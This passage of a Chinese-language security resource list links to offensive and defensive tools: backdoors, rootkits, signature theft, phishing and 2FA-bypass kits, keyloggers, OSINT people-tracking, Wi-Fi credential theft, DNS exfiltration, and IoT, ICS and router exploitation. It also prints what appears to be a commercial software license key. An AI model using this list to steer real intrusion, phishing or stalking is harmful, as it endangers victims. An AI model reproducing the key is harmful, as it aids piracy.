&lt;li&gt;https://github.com/Kkevsterrr/backdoorme py3、py2 多种类型的后门、shell 生成工具，可以自动维持权限&lt;/li&gt;
&lt;li&gt;https://github.com/TestingPens/MalwarePersistenceScripts win 下权限维持脚本&lt;/li&gt;
&lt;li&gt;https://github.com/mhaskar/Linux-Root-Kit py，simple，linux 下 rootkit&lt;/li&gt;
&lt;li&gt;https://github.com/PinkP4nther/Sutekh simple，rootkit，使普通用户获取 root shell&lt;/li&gt;
&lt;li&gt;https://github.com/threatexpress/metatwin 从一个文件中提取元数据，包括数字签名，并注入到另一个文件中&lt;/li&gt;
&lt;li&gt;https://github.com/Mr-Un1k0d3r/Windows-SignedBinary 可以修改二进制文件的 HASH，同时保留微软 windows 的签名&lt;/li&gt;
&lt;li&gt;https://github.com/secretsquirrel/SigThief py，用于劫持合法的数字签名并绕过 Windows 的哈希验证机制的脚本工具&lt;/li&gt;
&lt;li&gt;https://github.com/9aylas/Shortcut-Payload-Generator 快捷方式(.lnk)文件 Payload 生成器.AutoIt 编写&lt;/li&gt;
&lt;li&gt;https://github.com/GuestGuri/Rootkit 反弹一个 tcp 连接，将进程 id 绑定到一个空文件夹&lt;/li&gt;
&lt;li&gt;https://github.com/secretsquirrel/the-backdoor-factory 可以生成 win32PE 后门测试程序,ELF 文件后门程序等&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head53&quot;&amp;gt; 文件捆绑&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;p&gt;bat2exe.net 相类似也可以利用 iexpress 与 winrar 生成自解压 exe 可执行文件&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/islamadel/bat2exe 将 bat 文件转换为 exe 二进制文件&lt;/li&gt;
&lt;li&gt;https://github.com/tywali/Bat2ExeConverter 将 bat 文件转换为 exe 二进制文件&lt;/li&gt;
&lt;li&gt;https://github.com/Juntalis/win32-bat2exe 将 bat 文件转换为 exe 二进制文件&lt;/li&gt;
&lt;li&gt;http://www.f2ko.de/downloads/Bat_To_Exe_Converter.zip 将 bat 文件转换为 exe 二进制文件，可以隐藏窗口。&lt;/li&gt;
&lt;li&gt;https://github.com/r00t-3xp10it/trojanizer 将两个可执行文件打包为自解压文件，自解压文件在执行时会执行可执行文件&lt;/li&gt;
&lt;li&gt;https://github.com/r00t-3xp10it/backdoorppt 将 payload 更换图标&lt;/li&gt;
&lt;li&gt;https://github.com/r00t-3xp10it/FakeImageExploiter 将 payload 更换图标。需要 wine 与 resourcehacker 环境&lt;/li&gt;
&lt;li&gt;https://github.com/DamonMohammadbagher/FakeFileMaker 更换图标和名称&lt;/li&gt;
&lt;li&gt;https://github.com/peewpw/Invoke-PSImage 将 PS 脚本隐藏进 PNG 像素中并用一行指令去执行它&lt;/li&gt;
&lt;li&gt;https://github.com/Mr-Un1k0d3r/DKMC Don’t kill my cat 生成混淆的 shellcode，将 shellcode 存储在多语言图像中&lt;/li&gt;
&lt;li&gt;https://github.com/deepzec/Bad-Pdf 生成一个 pdf 文件，内含 payload 来窃取 win 上的 Net-NTLM 哈希&lt;/li&gt;
&lt;li&gt;https://github.com/3gstudent/Worse-PDF 向 PDF 文件中插入恶意代码，来窃取 win 上的 Net-NTLM 哈希&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head54&quot;&amp;gt; 社工相关&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/brannondorsey/PassGAN py,深度学习,密码字典样本生成&lt;/li&gt;
&lt;li&gt;https://github.com/Mebus/cupp 根据用户习惯密码生成弱口令探测&lt;/li&gt;
&lt;li&gt;https://github.com/Saferman/cupper 根据用户习惯密码生成弱口令探测，楼上升级&lt;/li&gt;
&lt;li&gt;https://github.com/LandGrey/pydictor py3，特定密码字典生成&lt;/li&gt;
&lt;li&gt;https://github.com/mehulj94/Radium-Keylogger python 下的键盘记录工具&lt;/li&gt;
&lt;li&gt;https://github.com/threatexpress/domainhunter 检查过期域名，bluecoat 分类和 Archive.org 历史记录，以确定最为适合于钓鱼和 C2 的域名&lt;/li&gt;
&lt;li&gt;https://github.com/Mr-Un1k0d3r/CatMyPhish 收集目标类似的尚未注册的域名&lt;/li&gt;
&lt;li&gt;https://github.com/x0day/Multisearch-v2 Bing、google、360、zoomeye 等搜索引擎聚合搜索，可用于发现企业被搜索引擎收录的敏感资产信息&lt;/li&gt;
&lt;li&gt;https://github.com/n0tr00t/Sreg Sreg 可对使用者通过输入 email、phone、username 的返回用户注册的所有互联网护照信息。&lt;/li&gt;
&lt;li&gt;https://github.com/SpiderLabs/social_mapper 社交媒体枚举和关联工具, 通过人脸识别关联人物侧写&lt;/li&gt;
&lt;li&gt;https://github.com/vysec/MaiInt 公司雇员信息收集测试工具&lt;/li&gt;
&lt;li&gt;https://github.com/jofpin/trape py，利用 OSINT 对人员进行追踪定位&lt;/li&gt;
&lt;li&gt;https://github.com/famavott/osint-scraper 输入人名或邮箱地址, 自动从互联网爬取关于此人的信息&lt;/li&gt;
&lt;li&gt;https://github.com/xHak9x/fbi py2,facebook 脸书信息搜集工具&lt;/li&gt;
&lt;li&gt;https://github.com/initstring/linkedin2username 通过 Linkedin 领英获取相关公司员工列表&lt;/li&gt;
&lt;li&gt;https://github.com/0x09AL/raven linux 下领英 Linkedin information gathering tool&lt;/li&gt;
&lt;li&gt;https://github.com/Ridter/Mailget 通过脉脉用户猜测企业邮箱&lt;/li&gt;
&lt;li&gt;https://github.com/haccer/tweep 使用 twitter API 进行信息爬取查询&lt;/li&gt;
&lt;li&gt;https://github.com/MazenElzanaty/TwLocation py，获取 Twitter 用户发推的地址&lt;/li&gt;
&lt;li&gt;https://github.com/vaguileradiaz/tinfoleak web 界面，对某人的 twitter 进行全面的情报分析&lt;/li&gt;
&lt;li&gt;https://github.com/deepfakes 虚假音视频制作&lt;/li&gt;
&lt;li&gt;https://www.jianshu.com/p/147cf5414851 聊聊那些常见的探侦类 APP&lt;/li&gt;
&lt;li&gt;https://github.com/thinkst/canarytokens 重要文件的追踪溯源，信标定位（https://canarytokens.org/generate#）&lt;/li&gt;
&lt;li&gt;https://github.com/ggerganov/kbd-audio c++,linux,利用麦克风监控键盘输入测试输入值&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head55&quot;&amp;gt; 网站克隆镜像伪造&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;http://www.httrack.com 网站克隆镜像&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head56&quot;&amp;gt; 钓鱼框架邮件伪造&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/bhdresh/SocialEngineeringPayloads 负责收集用于证书盗窃和鱼叉式网络钓鱼攻击的社交工程技巧和 payloads&lt;/li&gt;
&lt;li&gt;https://github.com/trustedsec/social-engineer-toolkit 专为社交工程设计的开源渗透测试框架&lt;/li&gt;
&lt;li&gt;https://github.com/thelinuxchoice/blackeye 拥有 facebook、instagram 等三十余个钓鱼模板的一键启用工具&lt;/li&gt;
&lt;li&gt;https://github.com/M4cs/BlackEye-Python 以 blackeye 为基础加强子域的管理&lt;/li&gt;
&lt;li&gt;https://github.com/azizaltuntas/Camelishing py3，界面化社会工程学攻击辅助工具&lt;/li&gt;
&lt;li&gt;https://github.com/JonCooperWorks/judas go，克隆网站钓鱼&lt;/li&gt;
&lt;li&gt;https://github.com/gophish/gophish go，拥有在线模板设计、发送诱骗广告等功能的钓鱼系统&lt;/li&gt;
&lt;li&gt;https://github.com/tatanus/SPF py2，deefcon 上的钓鱼系统&lt;/li&gt;
&lt;li&gt;https://github.com/MSG-maniac/mail_fishing 甲方内部钓鱼系统&lt;/li&gt;
&lt;li&gt;https://github.com/samyoyo/weeman 钓鱼的 http 服务器&lt;/li&gt;
&lt;li&gt;https://github.com/Raikia/FiercePhish 可以管理所有钓鱼攻击的完整钓鱼框架，允许你跟踪单独的网络钓鱼活动，定时发送电子邮件等&lt;/li&gt;
&lt;li&gt;https://github.com/securestate/king-phisher 可视化钓鱼活动工具包&lt;/li&gt;
&lt;li&gt;https://github.com/fireeye/ReelPhish 实时双因素网络钓鱼工具&lt;/li&gt;
&lt;li&gt;https://github.com/kgretzky/evilginx 绕过双因素验证的钓鱼框架&lt;/li&gt;
&lt;li&gt;https://github.com/kgretzky/evilginx2 MiTM 框架, 登录页面钓鱼, 绕过双因素认证等&lt;/li&gt;
&lt;li&gt;https://github.com/ustayready/CredSniper 使用 Flask 和 Jinja2 模板编写的网络钓鱼框架，支持捕获 2FA 令牌&lt;/li&gt;
&lt;li&gt;https://github.com/fireeye/PwnAuth OAuth 滥用测试检测平台&lt;/li&gt;
&lt;li&gt;https://github.com/n0pe-sled/Postfix-Server-Setup 自动化建立一个网络钓鱼服务器&lt;/li&gt;
&lt;li&gt;https://github.com/Dionach/PhEmail py2，钓鱼与邮件伪造&lt;/li&gt;
&lt;li&gt;https://github.com/PHPMailer/PHPMailer 世界上最流行的 PHP 发送邮件的代码&lt;/li&gt;
&lt;li&gt;http://tool.chacuo.net/mailanonymous 在线邮件伪造&lt;/li&gt;
&lt;li&gt;http://ns4gov.000webhostapp.com 在线邮件伪造&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head57&quot;&amp;gt; 中间人攻击流量劫持&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/bettercap/bettercap 网络攻击以及监控的瑞士军刀。该工具支持多种模块，比如 ARP/DNS 欺骗、TCP 以及数据包代理等&lt;/li&gt;
&lt;li&gt;https://github.com/mitmproxy/mitmproxy PY,支持 SSL 拦截，进行 https 流量代理&lt;/li&gt;
&lt;li&gt;https://github.com/qiyeboy/BaseProxy py3,异步 http/https 代理,楼上简化版。可以作为中间人工具，比如说替换网址图片等&lt;/li&gt;
&lt;li&gt;https://github.com/lgandx/Responder 用于嗅探网络内所有的 NTLM、NTLMv1/v2、Net-NTLMv1/v2 包，对网络内主机进行欺骗获取用户 hash。a 拿着 b 密码请求 b，c 对 a 说我是 b，然后 c 获得了 b 的密码，https://www.secpulse.com/archives/65503.html 【脉搏译文系列】渗透师指南之 Responder。&lt;/li&gt;
&lt;li&gt;https://github.com/Kevin-Robertson/Inveigh 一款 PowerShell LLMNR / mDNS / NBNS 欺骗器和中间人工具&lt;/li&gt;
&lt;li&gt;https://github.com/LionSec/xerosploit 中间人攻击测试工具包&lt;/li&gt;
&lt;li&gt;https://github.com/AlsidOfficial/WSUSpendu 可以自主创建恶意更新，并将其注入到 WSUS 服务器数据库中，然后随意的分发这些恶意更新&lt;/li&gt;
&lt;li&gt;https://github.com/infobyte/evilgrade 一个模块化的脚本框架，使攻击者在不知情的情况下将恶意更新注入到用户更新中&lt;/li&gt;
&lt;li&gt;https://github.com/quickbreach/smbetray 专注于通过文件内容交换、lnk 交换来攻击客户端，以及窃取任何以明文形式传输的数据&lt;/li&gt;
&lt;li&gt;https://github.com/mrexodia/haxxmap 对 IMAP 服务器进行中间人攻击&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head58&quot;&amp;gt; 协议解析流量还原分析&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/wireshark/wireshark 协议解析流量分析还原&lt;/li&gt;
&lt;li&gt;https://github.com/CoreSecurity/impacket Impacket 是用于处理网络协议的 Python 工具包集合，内网中可用以提权例如 wmiexec.py、NMB，SMB1-3 和 MS-DCERPC 提供对协议实现本身的低级别编程访问。&lt;/li&gt;
&lt;li&gt;https://github.com/secdev/scapy 内置了交互式网络数据包处理、数据包生成器、网络扫描器网络发现和包嗅探工具，提供多种协议包生成及解析插件，能够灵活的的生成协议数据包，并进行修改、解析。&lt;/li&gt;
&lt;li&gt;https://gitee.com/qielige/openQPA 协议分析软件 QPA 的开源代码，特点是进程抓包、特征自动分析&lt;/li&gt;
&lt;li&gt;https://github.com/jtpereyda/boofuzz 网络协议 fuzz 测试&lt;/li&gt;
&lt;li&gt;https://www.jianshu.com/p/4dca12a35158 5 个常用的免费报文库&lt;/li&gt;
&lt;li&gt;https://github.com/zerbea/hcxdumptool 从 Wlan 设备上捕获数据包&lt;/li&gt;
&lt;li&gt;https://github.com/NytroRST/NetRipper 支持截获像 putty,winscp,mssql,chrome,firefox,outlook，https 中的明文密码&lt;/li&gt;
&lt;li&gt;https://github.com/shramos/polymorph 支持几乎所有现有协议的实时网络数据包操作框架&lt;/li&gt;
&lt;li&gt;https://github.com/nospaceships/raw-socket-sniffer C,PS，无需驱动抓取 Windows 流量&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head59&quot;&amp;gt;无线网络 WIFI 中间人攻击&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/wi-fi-analyzer/fluxion 窃取用户 wifi 密码的进行密码重放攻击&lt;/li&gt;
&lt;li&gt;https://github.com/0v3rl0w/e013 窃取 Wifi 密码. VB 脚本&lt;/li&gt;
&lt;li&gt;https://github.com/cls1991/ng 获取你当前连接 wifi 的密码与 ip&lt;/li&gt;
&lt;li&gt;https://github.com/wifiphisher/wifiphisher PY,中间人攻击，FakeAp 恶意热点，WIFI 钓鱼，凭证窃取&lt;/li&gt;
&lt;li&gt;https://github.com/1N3/PRISM-AP 自动部署 RogueAP(恶意热点) MITM 攻击框架&lt;/li&gt;
&lt;li&gt;https://github.com/sensepost/mana Wifi 劫持工具，可以监听计算机或其他移动设备的 Wifi 通信，并能够模仿该设备&lt;/li&gt;
&lt;li&gt;https://github.com/deltaxflux/fluxion bash 与 py，对使用 wpa 协议的无线网络进行 MiTM 攻击&lt;/li&gt;
&lt;li&gt;https://github.com/DanMcInerney/LANs.py ARP 欺骗，无线网络劫持&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head60&quot;&amp;gt;无线网络 WIFI 防御&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/SYWorks/waidps PY,Linux 下无线网络入侵检测工具&lt;/li&gt;
&lt;li&gt;https://github.com/SkypLabs/probequest 嗅探和显示无线网卡附近的 Wifi Probe 请求&lt;/li&gt;
&lt;li&gt;https://github.com/wangshub/hmpa-pi 在树莓派或路由，利用 Wireshark 扫描附近网络 WiFi 设备，当有手机或其它 Wi-Fi 设备在附近时，通过邮件或者微信提醒&lt;/li&gt;
&lt;li&gt;https://github.com/besimaltnok/PiFinger 检查 wifi 是否为&quot;Wifi-Pineapple 大菠萝&quot;所开放的恶意热点&lt;/li&gt;
&lt;li&gt;https://github.com/WiPi-Hunter/PiSavar 利用 PineAP，对于 FAKE AP 虚假接入点，如&quot;Wifi-Pineapple 大菠萝&quot;进行监测&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head61&quot;&amp;gt;无线网络 WIFI 审计测试&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://www.wifislax.com 西班牙 wifi 审计系统，国内汉化版为无线革新 5.1.1 Wifislax-WRC&lt;/li&gt;
&lt;li&gt;https://cn.elcomsoft.com/ewsa.html ewsa，wifi 嗅探，握手包密码还原，EWSA-173-HC1UW-L3EGT-FFJ3O-SOQB3&lt;/li&gt;
&lt;li&gt;https://www.passcape.com wifipr，握手包密码还原，另外还有许多商业版 windows 下密码还原工具&lt;/li&gt;
&lt;li&gt;https://github.com/MisterBianco/BoopSuite 无线网络审计工具，支持 2-5GHZ 频段&lt;/li&gt;
&lt;li&gt;https://github.com/aircrack-ng/aircrack-ng 由数据包嗅探器、检测器、WPA / WPA2-PSK 解密器、WEP 和用于 802.11&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head62&quot;&amp;gt; 无线局域网的分析工具组成&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/t6x/reaver-wps-fork-t6x wps 跑 pin 码攻击，常见 wifi 攻击&lt;/li&gt;
&lt;li&gt;https://github.com/derv82/wifite2 wifite 无线审计工具升级版，联动 aircrack-ng 与 reaver&lt;/li&gt;
&lt;li&gt;https://github.com/savio-code/fern-wifi-cracker 无线安全审计工具&lt;/li&gt;
&lt;li&gt;https://github.com/P0cL4bs/WiFi-Pumpkin 无线安全渗透测试套件&lt;/li&gt;
&lt;li&gt;https://github.com/entropy1337/infernal-twin 自动化无线攻击工具 Infernal-Wireless&lt;/li&gt;
&lt;li&gt;https://github.com/m4n3dw0lf/PytheM Python 网络/渗透测试工具&lt;/li&gt;
&lt;li&gt;https://github.com/InfamousSYN/rogue 无线网络攻击工具包&lt;/li&gt;
&lt;li&gt;https://github.com/cSploit/android 手机 WiFi 渗透工具框架，可以使用 msf&lt;/li&gt;
&lt;li&gt;https://github.com/chrisk44/Hijacker 手机 wifi 测试工具&lt;/li&gt;
&lt;li&gt;https://andrax-pentest.org/ kali hunter 手机渗透测试系统&lt;/li&gt;
&lt;li&gt;https://www.zimperium.com/zanti-mobile-penetration-testing 手机 wifi 渗透工具&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head63&quot;&amp;gt; 数据取回隐秘传输&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/TryCatchHCF/Cloakify 躲避 DLP/MLS 数据泄露防护系统，突破数据白名单控制，躲避 AV 检测进行数据盗取&lt;/li&gt;
&lt;li&gt;https://github.com/sensepost/DET 使用单个或多个通道同时执行数据取回&lt;/li&gt;
&lt;li&gt;https://github.com/Arno0x/DNSExfiltrator 利用 DNS 解析进行数据隐秘传输的工具&lt;/li&gt;
&lt;li&gt;https://github.com/ytisf/PyExfil 用于数据取回的 Python 软件包&lt;/li&gt;
&lt;li&gt;https://github.com/Arno0x/ReflectiveDnsExfiltrator 反射 DNS 解析隐蔽通道进行数据泄露&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head64&quot;&amp;gt; 硬件安全&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/unprovable/PentestHardware 硬件渗透测试实用手册&lt;/li&gt;
&lt;li&gt;https://ducktoolkit.com/ 橡皮鸭、HID 键盘模拟器&lt;/li&gt;
&lt;li&gt;https://github.com/insecurityofthings/jackit 用于 Mousejack 的开发代码&lt;/li&gt;
&lt;li&gt;https://github.com/samyk/magspoof 信用卡信息盗取&lt;/li&gt;
&lt;li&gt;https://github.com/mame82/P4wnP1_aloa 在树莓派 Raspberry Pi 上安装常用的测试组件，打造移动测试平台&lt;/li&gt;
&lt;li&gt;https://www.freebuf.com/geek/195631.html 成为物理黑客吧！利用树莓派实现 P4wnP1 项目进行渗透测试&lt;/li&gt;
&lt;li&gt;https://github.com/mame82/P4wnP1 在树莓派安装网络劫持键盘注入(WHID)工具&lt;/li&gt;
&lt;li&gt;https://github.com/ebursztein/malusb 创建跨平台的 HID 欺骗 payload，并在 Windows 和 OSX 上建立反向 TCP-shell&lt;/li&gt;
&lt;li&gt;https://github.com/Orange-Cyberdefense/fenrir-ocd 主要功能和用途是绕过有线 802.1x 保护并使你能够访问目标网络&lt;/li&gt;
&lt;li&gt;https://github.com/360PegasusTeam/GhostTunnel 可在隔离环境下使用 HID 生成隐蔽后门，释放有效负载后删除自身&lt;/li&gt;
&lt;li&gt;https://github.com/LennyLeng/RadioEye RFID 配合常见的 NFC 使用&lt;/li&gt;
&lt;li&gt;https://github.com/Proxmark/proxmark3/ RFID 神器 PM3&lt;/li&gt;
&lt;li&gt;http://www.freebuf.com/news/others/605.html RFID Hacking–资源大合集&lt;/li&gt;
&lt;li&gt;https://github.com/UnicornTeam/HackCube-Special 独角兽实验室硬件渗透测试平台&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head65&quot;&amp;gt;IoT 安全&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/w3h/icsmaster 整合工控安全资源&lt;/li&gt;
&lt;li&gt;https://github.com/V33RU/IoTSecurity101 IoT 工控安全与物联网安全学习的一些文章和资源&lt;/li&gt;
&lt;li&gt;http://www.freebuf.com/ics-articles 工控相关&lt;/li&gt;
&lt;li&gt;http://www.freebuf.com/sectool/174567.html 工业控制系统（ICS）安全专家必备的测试工具和安全资源&lt;/li&gt;
&lt;li&gt;http://www.freebuf.com/articles/ics-articles/178822.html 浅析煤炭企业如何进行工控安全建设&lt;/li&gt;
&lt;li&gt;http://www.freebuf.com/articles/network/178251.html 工控安全现场实施经验谈之工控系统如何加强主机防护&lt;/li&gt;
&lt;li&gt;https://github.com/hslatman/awesome-industrial-control-system-security 工控系统安全方向优秀资源收集仓库&lt;/li&gt;
&lt;li&gt;https://github.com/adi0x90/attifyos IoT 集成安全测试系统，带有一些常用的软件&lt;/li&gt;
&lt;li&gt;https://github.com/moki-ics/moki 一键配置类似 kali 的工控渗透测试系统的脚本，&lt;/li&gt;
&lt;li&gt;https://gitlab.com/expliot_framework/expliot py3，工控安全漏洞测试框架&lt;/li&gt;
&lt;li&gt;https://github.com/dark-lbp/isf py2,工控中类似 msf 的测试框架&lt;/li&gt;
&lt;li&gt;https://github.com/enddo/smod py2，使用了 scapy 模块，主要针对 modbus 协议测试&lt;/li&gt;
&lt;li&gt;https://github.com/shodan-labs/iotdb nmap 配合 shodan API 扫描 IoT 设备&lt;/li&gt;
&lt;li&gt;https://github.com/XHermitOne/icscanner 带界面的 ics 扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/yanlinlin82/plcscan 通过 TCP/102 和 TCP/502 识别互联网上 PLC 设备和其他 Modbus 设备&lt;/li&gt;
&lt;li&gt;https://github.com/nsacyber/GRASSMARLIN NSA 旗下 ICS/SCADA 态势感知&lt;/li&gt;
&lt;li&gt;https://github.com/nezza/scada-stuff 对 SCADA/ICS 设备进行逆向与攻击&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head66&quot;&amp;gt; 摄像头安全&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/woj-ciech/kamerka 配合 shodan API 扫描到的摄像头地理位置显示在地图上&lt;/li&gt;
&lt;li&gt;https://github.com/Ullaakut/cameradar GO,针对摄像头 RTSP 协议渗透测试，附弱口令字典&lt;/li&gt;
&lt;li&gt;https://github.com/Ullaakut/camerattack GO,摄像头远程禁用&lt;/li&gt;
&lt;li&gt;https://github.com/NIteshx2/UltimateSecurityCam py3，摄像头监测外来人员软件，有防欺骗设置&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head67&quot;&amp;gt; 路由安全&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;http://stascorp.com RouterScan 毛子开发的路由器漏洞利用工具，界面化很强大&lt;/li&gt;
&lt;li&gt;https://github.com/threat9/routersploit py3，仿 msf 路由器漏洞利用框架&lt;/li&gt;
&lt;li&gt;https://github.com/jh00nbr/Routerhunter-2.0 已停止更新，路由器漏洞扫描利用&lt;/li&gt;
&lt;li&gt;https://github.com/googleinurl/RouterHunterBR php，路由器设备漏洞扫描利用&lt;/li&gt;
&lt;li&gt;https://github.com/scu-igroup/telnet-scanner Telnet 服务密码撞库&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head68&quot;&amp;gt; 物联网安全&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/RUB-NDS/PRET 打印机攻击框架&lt;/li&gt;
&lt;li&gt;https://github.com/rapid7/IoTSeeker 物联网设备默认密码扫描检测工具&lt;/li&gt;
&lt;li&gt;https://github.com/schutzwerk/CANalyzat0r 专有汽车协议的安全分析工具包&lt;/li&gt;
&lt;li&gt;https://github.com/pasta-auto 智能汽车测试&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head69&quot;&amp;gt;Fuzz 模糊测试漏洞挖掘&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;http://www.freebuf.com/articles/rookie/169413.html 一系列用于 Fuzzing 学习的资源汇总&lt;/li&gt;
&lt;li&gt;https://github.com/secfigo/Awesome-Fuzzing Fuzz 相关学习资料&lt;/li&gt;
&lt;li&gt;https://github.com/fuzzdb-project/fuzzdb fuzz 资料数据库&lt;/li&gt;
&lt;li&gt;https://github.com/ivanfratric/winafl AFL for fuzzing Windows binaries,原创技术分析 | AFL 漏洞挖掘技术漫谈&lt;/li&gt;
&lt;li&gt;https://github.com/attekett/NodeFuzz a fuzzer harness for web browsers and browser like applications.&lt;/li&gt;
&lt;li&gt;https://github.com/google/oss-fuzz Continuous Fuzzing for Open Source Software&lt;/li&gt;
&lt;li&gt;http://blog.topsec.com.cn/ad_lab/alphafuzzer/ 以文件格式为主的漏洞挖掘工具&lt;/li&gt;
&lt;li&gt;https://bbs.ichunqiu.com/thread-24898-1-1.html Test404 -HTTP Fuzzer V3.0&lt;/li&gt;
&lt;li&gt;https://github.com/xmendez/wfuzz py，Web 安全模糊测试工具，模块化可处理 burp 所抓请求和响应报文&lt;/li&gt;
&lt;li&gt;https://github.com/1N3/BlackWidow 基于 Python 实现的 Web 爬虫，用于收集目标网站的情报信息并对 OWASP 漏洞进行模糊测试&lt;/li&gt;
&lt;li&gt;https://github.com/bunzen/pySSDeep py，一个基于模糊哈希（Fuzzy Hashing）算法的工具。go，glaslos/ssdeep；C，ssdeep-project/ssdeep&lt;/li&gt;
&lt;li&gt;https://github.com/googleprojectzero/winafl AFL 针对 Windows 二进制进行测试&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head70&quot;&amp;gt; 安全防护&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/baidu/AdvBox Advbox 是支持多种深度学习平台的 AI 模型安全工具箱，既支持白盒和黑盒算法生成对抗样本，衡量 AI 模型鲁棒性，也支持常见的防御算法&lt;/li&gt;
&lt;li&gt;https://github.com/quoscient/octopus 区块链智能合约安全分析工具&lt;/li&gt;
&lt;li&gt;https://github.com/Cyb3rWard0g/HELK 具有高级分析功能的威胁狩猎 ELK&lt;/li&gt;
&lt;li&gt;https://github.com/trimstray/otseca linux 系统审计工具，可以导出系统配置，生成报表&lt;/li&gt;
&lt;li&gt;https://github.com/BugScanTeam/DNSLog 一款基于 django 监控 DNS 解析记录和 HTTP 访问记录的工具，可以配合盲注、xss、解析对方真实 ip 使用&lt;/li&gt;
&lt;li&gt;https://github.com/mwrlabs/dref DNS 重绑定利用框架&lt;/li&gt;
&lt;li&gt;https://github.com/chengr28/Pcap_DNSProxy/blob/master/README.zh-Hans.md Pcap_DNSProxy 是一个基于 WinPcap/LibPcap 用于过滤 DNS 投毒污染的工具&lt;/li&gt;
&lt;li&gt;https://github.com/PlagueScanner/PlagueScanner 使用 python 实现的集成 ClamAV、ESET、Bitdefender 的反病毒引擎&lt;/li&gt;
&lt;li&gt;https://github.com/m4rco-/dorothy2 一款木马、僵尸网络分析框架&lt;/li&gt;
&lt;li&gt;http://github.com/jumpserver/jumpserver 基于 Python3 的开源堡垒机&lt;/li&gt;
&lt;li&gt;https://github.com/github/glb-director 负载均衡组件 GLB，数据解析使用了 dpdk&lt;/li&gt;
&lt;li&gt;https://github.com/processhacker/processhacker 监控系统资源、软件调试、检测恶意软件，管理进程&lt;/li&gt;
&lt;li&gt;https://github.com/TKCERT/mail-security-tester 检测邮件防护与过滤系统的测试框架&lt;/li&gt;
&lt;li&gt;https://github.com/chaitin/sqlchop-http-proxy 利用 HTTP 反向代理，内置 SQLChop 作为 SQL 注入攻击检测模块，可以拦截 SQL 注入流量而放行正常流量&lt;/li&gt;
&lt;li&gt;https://github.com/OWASP/SecureTea-Project 当有人私自触碰电脑鼠标或触摸板，进行报警&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head71&quot;&amp;gt; 代码审计应用测试&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://www.waitalone.cn/seay-source-code-auditv2.html Seay 源代码审计系统 2.1 版本&lt;/li&gt;
&lt;li&gt;https://github.com/pyupio/safety 检查所有已安装 Python 包, 查找已知的安全漏洞&lt;/li&gt;
&lt;li&gt;https://github.com/pumasecurity/puma-scan 实时代码审计，vs 插件&lt;/li&gt;
&lt;li&gt;https://github.com/wufeifei/cobra 白盒代码安全审计系统&lt;/li&gt;
&lt;li&gt;https://github.com/OneSourceCat/phpvulhunter 静态 php 代码审计&lt;/li&gt;
&lt;li&gt;https://github.com/ripsscanner/rips 基于 php 的 php 代码审计工具&lt;/li&gt;
&lt;li&gt;https://github.com/Qihoo360/phptrace 跟踪、分析 PHP 运行情况的工具&lt;/li&gt;
&lt;li&gt;https://github.com/ajinabraham/NodeJsScan Node.JS 应用代码审计&lt;/li&gt;
&lt;li&gt;https://github.com/ctxis/beemka 针对 Electron App 的漏洞利用工具包&lt;/li&gt;
&lt;li&gt;https://github.com/doyensec/electronegativity Electron 应用代码审计，App 的错误配置和安全问题&lt;/li&gt;
&lt;li&gt;https://github.com/shengqi158/pyvulhunter Python 应用审计&lt;/li&gt;
